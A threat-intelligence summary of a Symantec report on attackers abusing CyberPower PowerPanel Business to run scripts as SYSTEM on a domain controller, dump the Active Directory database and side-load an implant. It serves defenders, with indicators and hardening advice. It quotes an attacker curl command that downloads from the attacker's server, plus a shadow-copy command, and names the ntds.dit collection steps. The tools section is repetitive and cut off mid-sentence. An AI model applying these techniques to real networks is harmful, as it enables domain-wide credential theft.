Attackers Abuse CyberPower PowerPanel Business to Run Commands on a Domain Controller

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Summary

Symantec describes an intrusion abusing CyberPower PowerPanel Business to run scripts as SYSTEM on a domain controller, collect the Active Directory database and launch a DLL-side-loaded implant. The actor was not identified; no exfiltration was observed.

Key points

  • Symantec researchers analyzed an intrusion using CyberPower PowerPanel Business (PPB) as an execution channel on a Windows domain controller.
  • Attackers uploaded .cmd scripts through PPB’s web console; the ppbed.exe service ran scripts from the extcmd folder as SYSTEM.
  • The scripts used Windows tools including ntdsutil and esentutl to collect ntds.dit, with the attackers iterating the scripts until the collection worked.
  • The same channel launched upnpcont.exe, which loaded an unknown atl.dll from a user-profile directory, a pattern consistent with DLL side-loading.
  • The activity was not attributed to a known actor. No exfiltration or final payload such as ransomware was observed.
  • Recommendations include restricting TCP port 3052 to administrator hosts, changing default credentials, patching PPB, auditing its script folders and monitoring process ancestry.

Article Details

Attack Vectors
  • The attackers uploaded .cmd scripts through the PowerPanel Business web console's file-upload endpoint on TCP port 3052, then used the product's documented event-command feature to run them as SYSTEM.
  • The attackers used certutil and curl.exe to download staged tools, then used PowerShell to load a .NET assembly and launch an implant.
  • The attackers used ntdsutil and esentutl to copy the Active Directory database, including from a Volume Shadow Copy, and saved the SYSTEM registry hive.
  • The implant upnpcont.exe loaded atl.dll from the same directory; the article describes this as DLL side-loading.
Defensive Notes
  • Restrict TCP port 3052 to named administrator hosts; do not expose the console to the internet, other servers, or user networks.
  • Change the default administrator password and keep PowerPanel Business patched.
  • Audit the extcmd and temp\profile\extcmd directories on every PowerPanel Business host, compare contents with product defaults, and review event-to-command assignments.
  • Monitor process lineage originating from ppbed.exe and investigate unexpected command execution, especially activity involving credential collection or an implant.
  • If the listed indicators or techniques are found, assume Active Directory credentials are exposed and plan a krbtgt reset and wider credential rotation.

Indicators of compromise

TypeIndicatorContext
IPV484[.]200[.]205[.]145Attacker server used to test connectivity and deliver tools.
SHA25604206431c83d1d81726e56fffb5166c0a7f138eb366e5aa918dee54af1ef22b5Hash of ppgtpui.cmd, an attacker script used for Active Directory database collection.
SHA25612e716f48875befa978ff4a78a0b99a18b1809fc5bcc34c761158875da611aa8Hash of dt.exe, a staged tool downloaded from the attacker server.
SHA2561949894c26e03d6f15ed7f4393a89dbd52f8acc62959d3d5e4f695d6a19c6d9cHash of a Tomcat upload temporary file associated with scripts uploaded through the PowerPanel Business endpoint.
SHA25622b8f2776f1c941d8240ee4243da537147f8d2ee4d859a68038335da7b0d7688Hash of ppskbcx.cmd, an attacker script used to export the Active Directory database with ntdsutil.
SHA2562776cfcdd46264043b823adaf37e0c85d0efd3b46d5fdbb72219535061d44b86Hash of ppinthw.cmd, an attacker script used to copy ntds.dit with esentutl.
SHA2563d73d5342a11dce35081e70a4ea75d39ad65bc6d480337bd33c1d2e0ba4090eeHash of dt.exe, a staged tool downloaded from the attacker server.
SHA2565b2285f788eec4d17bf18d85795d457f40f7598bbab2697919f5810f54a9c3feHash of upnpcont.exe, the implant launched through the PowerPanel Business execution channel.
SHA25676670eaadda9806c9aefa91c2ee4f2a33dcf8124574721a6ff072f19e7c03514Hash of pppwngl.cmd, an attacker script used for a reflective .NET load.
SHA256839300af16b7117adf05751e1847e1e026146d388cc328a179ba799eb1c9c229Hash of ppotuff.cmd, an attacker script that saved the SYSTEM registry hive and copied ntds.dit with esentutl.
SHA256899f072c505e56ed65b4ea5d64ab3bc0f98c39366b2c413c988551843e729451Hash of ppgxrte.cmd, an attacker script used to load a .NET program.
SHA2568ee88ef957597fd4788ae9da4463dcbecec0f1969e6573204f4263f99f46b125Hash of an attacker-authored ifm4.cmd script for Active Directory database collection.
SHA2569abbcb4ac9a98690c666a2e843facf62af773d078db40570f08f052b0e42003fHash of an attacker-authored ifm2.cmd script for Active Directory database collection.
SHA256b0d382443411a7986ce7eda473c3e8ed787de9083db71deb4ea0539ed74c0c25Hash of an attacker-authored ifm.cmd script for Active Directory database collection.
SHA256bdea608430fbf6384ce518a542af3e0e69a685980ef826f7db3de20d4c835e26Hash of wupd.exe, a staged .NET antivirus-killer payload identified as MSIL.Killav!gen1.
SHA256c2454052f49e43226f69413ce58ba0bb3a2d89e7a52f32ef8adbf0961bb838c2Hash of an attacker-authored ifm3.cmd script for Active Directory database collection.
SHA256c3f6aa4dc9cdbcd2cfdacd18e59e0c1af0406d59d1f81cd962ac3cde60626ee8Hash of an attacker-authored ifm.cmd script for Active Directory database collection.
SHA256cbd790d052a57d18f1cd58fe4c9887340eec5d38bfae105caf0d222f30a856d5Hash of an attacker-authored ifm.cmd script for Active Directory database collection.
SHA256d4032e61aa9ef01a5a174a90beffa5a27dd21b36e653ce5304907787554b7d95Hash of atl.dll, the unknown-reputation DLL loaded by the upnpcont.exe implant.
URLhxxp[:]//84[.]200[.]205[.]145:55556/Attacker-controlled download URL used to retrieve dt.exe, wupd.exe, and hello.exe.
URLhxxp[:]//84[.]200[.]205[.]145:55557/junk50k.binAttacker-server URL used to download junk50k.bin to the domain controller.
URLhxxp[:]//84[.]200[.]205[.]145/Attacker-server URL used to test whether the domain controller could connect.

MITRE ATT&CK

Malware

Vendors

Products

Tools

certutilThe attacker used this channel to download tools with certutil, then loaded a .NET assembly into memory using PowerShell, and ran ntdsutil and esentutl against the Active Directory database, ntds.dit.curlcurl.exe -v -m 25 http://84[.]200[.]205[.]145:55557/junk50k.bin -o C:\Windows\Temp\junk.bin esentutl.exeThe attacker used this channel to download tools with certutil, then loaded a .NET assembly into memory using PowerShell, and ran ntdsutil and esentutl against the Active Directory database, ntds.dit.ntdsutilThe attacker used this channel to download tools with certutil, then loaded a .NET assembly into memory using PowerShell, and ran ntdsutil and esentutl against the Active Directory database, ntds.dit.PowerShellThe attacker used this channel to download tools with certutil, then loaded a .NET assembly into memory using PowerShell, and ran ntdsutil and esentutl against the Active Directory database, ntds.dit.reg.exeattacker's tooling was almost entirely reliant on built-in Windows tools (certutil, ntdsutil, esentutl, reg, vssadmin, robocopy, wmic), along with a side-loaded implant, so defenders need to check the parent processrobocopykeep ppbed.exe as the root of their lineage. The command, vssadmin create shadow /for=C: and the later robocopy collection task ran from this chain: vssadmin.exe ← powershell.exe ← upnpcont.exe ← powershell.exe ←vssadminProcesses spawned by the implant keep ppbed.exe as the root of their lineage. The command, vssadmin create shadow /for=C: and the later robocopy collection task ran from this chain: vssadmin.exe ← powershell.exe ←WMICalmost entirely reliant on built-in Windows tools (certutil, ntdsutil, esentutl, reg, vssadmin, robocopy, wmic), along with a side-loaded implant, so defenders need to check the parent process for a meaningful

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